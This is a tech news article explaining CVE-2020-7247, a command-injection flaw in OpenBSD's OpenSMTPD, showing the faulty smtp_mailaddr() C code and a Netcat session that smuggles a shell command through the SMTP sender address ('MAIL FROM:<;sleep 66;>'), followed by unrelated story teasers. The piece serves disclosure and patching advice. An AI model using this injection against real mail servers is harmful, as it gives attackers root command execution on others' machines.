Anatomy of OpenBSD's OpenSMTPD hijack hole: How a malicious sender address can lead to remote pwnage

Function accidentally returns OK instead of no-way

Code dive The OpenBSD project's OpenSMTPD can be potentially hijacked by a maliciously crafted incoming email.

Infosec biz Qualys discovered and this week disclosed CVE-2020-7247, a root privilege-escalation and remote code execution flaw in OpenSMTPD. It can be exploited locally by a normal user to execute shell commands as root, if using the daemon's default configuration, or locally and remotely if the daemon is using its "uncommented" default configuration, in which it listens on all interfaces and accepts external mail. Getting root access means it's game over: the machine is now yours.

This bug is bad news for anyone running a public-facing, external-mail-accepting OpenSMTPD deployment. Check for security updates to close the hole, apply this patch, or disable the daemon. The version shipping with OpenBSD 6.6, the latest available, and Debian testing, aka Bullseye, are vulnerable to attack; other releases may be as well. The bug dates back to May 2018.

How it went wrong

After it receives an email, OpenSMTPD invokes a mail delivery agent to place the incoming message in the recipient's inbox on the system. The delivery agent is invoked by OpenSMTPD executing a shell command, which includes the sender's address as a command-line parameter. The sender's address was supplied by whichever email client earlier connected to OpenSMTPD to send the message.

Passing this address straight to the shell as a parameter is dangerous because hackers can exploit this to inject extra commands to be executed. To avoid this, OpenSMTPD has a string called MAILADDR_ALLOWED that defines the non-alpha-numeric characters allowed in a valid address. In addition, the string MAILADDR_ESCAPE contains characters that are converted to a colon character to neutralize any special characters that attempt to inject extra commands or parameters.

Thus, an address is valid if it contains only alpha-numeric characters, full-stops, and anything else in MAILADDR_ALLOWED. And anything that's also in MAILADDR_ESCAPE gets converted to a colon. Thus, whatever sender address is supplied by an email client, it can't smuggle in extra commands.

Unfortunately, OpenSMTPD's sender address validation code, smtp_mailaddr(), accidentally jumps the gun and approves dangerous sender addresses that can inject arbitrary commands into delivery agent invocations. An email address has two parts, the local part and the domain part. For, corrections is the local part, and is the domain part. If the sender's address has an invalid local part, and an empty domain part, smtp_mailaddr() tries to helpfully add a default domain to the address, and then just OKs the string for use on the command line, ignoring the fact the local part is invalid.

And so, if you place invalid special characters in the local part that inject commands into the command line that's supposed to invoke the delivery agent, it'll all sail through when it's not supposed to.

Here's the C code at the heart of the security blunder – smtp_mailaddr() should return the value 1 for a valid address and 0 for an invalid address when checking the address in the string pointed to by maddr:

2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
2218     if (!valid_localpart(maddr->user) ||
2219         !valid_domainpart(maddr->domain)) {
2229             if (maddr->domain[0] == '\0') {
2230                     (void)strlcpy(maddr->domain, domain,
2231                         sizeof(maddr->domain));
2232                     return (1);
2233             }
2234             return (0);
2235     }
2237     return (1);
2238 }

"If the local part of an address is invalid (line 2218) and if its domain name is empty (line 2229), then smtp_mailaddr() adds the default domain automatically (line 2230) and returns 1 (line 2232), although it should return 0 because the local part of the address is invalid (for example, because it contains invalid characters)," the Qualys team explained in its summary.

"As a result, an attacker can pass dangerous characters that are not in MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (';' and ' ' in particular) to the shell that executes the [mail delivery agent] command."

Exploitation is trivial

To exploit this on your own deployment, connect to your local OpenSMTPD server using Netcat. The following interaction, provided by Qualys as a proof of concept, is just what your email client would go through with the server behind the scenes, though in this case, we'll abuse the sender address field. Run nNetcat with:

$ nc 25

And the daemon will introduce itself:


Reply by saying hello to the software:

HELO professor.falken

It acknowledges you:

250 Hello professor.falken [], pleased to meet you

Here comes the magic. Inject the command sleep 66 to make the software pause for 66 seconds, using ; to escape from the delivery agent invocation:

MAIL FROM:<;sleep 66;>

And that's it. The agent invocation command passed to the shell by OpenSMTPD will look something like /usr/libexec/mail.local -f ;sleep 66; followed by the rest of the command, which will probably fail as it's malformed having been cut in half by the ;...; injection sequence.

All we care about is the first semicolon ending the mail.local invocation prematurely so that our slipped-in sleep 66 runs, and the second semicolon walling off the rest of the invocation command from affecting our injected command.

With that sent, the server replies:

250 2.0.0 Ok

Great, it's accepted. Play out the rest of the message delivery, such as setting the recipient and message contents:

RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
354 Enter mail, end with "." on a line by itself

How about a nice game of chess?
250 2.0.0 e6330998 Message accepted for delivery
221 2.0.0 Bye

And with that, the agent command will be run, including our injected sleep.

Interestingly, Qualys said the vulnerability was thought to be much more limited when it was first found: achieving non-trivial command execution is difficult due to various restrictions in place. However, the team were inspired by the 1988 Morris worm's abuse of the DEBUG vulnerability in Sendmail to achieve full remote-code execution.

"Exploitation of the vulnerability had some limitations in terms of local part length (max 64 characters is allowed) and characters to be escaped (“$”, “|”)," said Animesh Jain, Qualys vulnerability signatures product manager.

"Qualys researchers were able to overcome these limitations using a technique from the Morris Worm (one of the first computer worms distributed via the Internet, and the first to gain significant mainstream media attention) by executing the body of the mail as a shell script in Sendmail."

Admins are advised to update their software and installations as soon as possible. ®

Broader topics

Other stories you might like

  • Stolen university credentials up for sale by Russian crooks, FBI warns
    Forget dark-web souks, thousands of these are already being traded on public bazaars

    Russian crooks are selling network credentials and virtual private network access for a "multitude" of US universities and colleges on criminal marketplaces, according to the FBI.

    According to a warning issued on Thursday, these stolen credentials sell for thousands of dollars on both dark web and public internet forums, and could lead to subsequent cyberattacks against individual employees or the schools themselves.

    "The exposure of usernames and passwords can lead to brute force credential stuffing computer network attacks, whereby attackers attempt logins across various internet sites or exploit them for subsequent cyber attacks as criminal actors take advantage of users recycling the same credentials across multiple accounts, internet sites, and services," the Feds' alert [PDF] said.

    Continue reading
  • Big Tech loves talking up privacy – while trying to kill privacy legislation
    Study claims Amazon, Apple, Google, Meta, Microsoft work to derail data rules

    Amazon, Apple, Google, Meta, and Microsoft often support privacy in public statements, but behind the scenes they've been working through some common organizations to weaken or kill privacy legislation in US states.

    That's according to a report this week from news non-profit The Markup, which said the corporations hire lobbyists from the same few groups and law firms to defang or drown state privacy bills.

    The report examined 31 states when state legislatures were considering privacy legislation and identified 445 lobbyists and lobbying firms working on behalf of Amazon, Apple, Google, Meta, and Microsoft, along with industry groups like TechNet and the State Privacy and Security Coalition.

    Continue reading
  • SEC probes Musk for not properly disclosing Twitter stake
    Meanwhile, social network's board rejects resignation of one its directors

    America's financial watchdog is investigating whether Elon Musk adequately disclosed his purchase of Twitter shares last month, just as his bid to take over the social media company hangs in the balance. 

    A letter [PDF] from the SEC addressed to the tech billionaire said he "[did] not appear" to have filed the proper form detailing his 9.2 percent stake in Twitter "required 10 days from the date of acquisition," and asked him to provide more information. Musk's shares made him one of Twitter's largest shareholders. The letter is dated April 4, and was shared this week by the regulator.

    Musk quickly moved to try and buy the whole company outright in a deal initially worth over $44 billion. Musk sold a chunk of his shares in Tesla worth $8.4 billion and bagged another $7.14 billion from investors to help finance the $21 billion he promised to put forward for the deal. The remaining $25.5 billion bill was secured via debt financing by Morgan Stanley, Bank of America, Barclays, and others. But the takeover is not going smoothly.

    Continue reading

Biting the hand that feeds IT © 1998–2022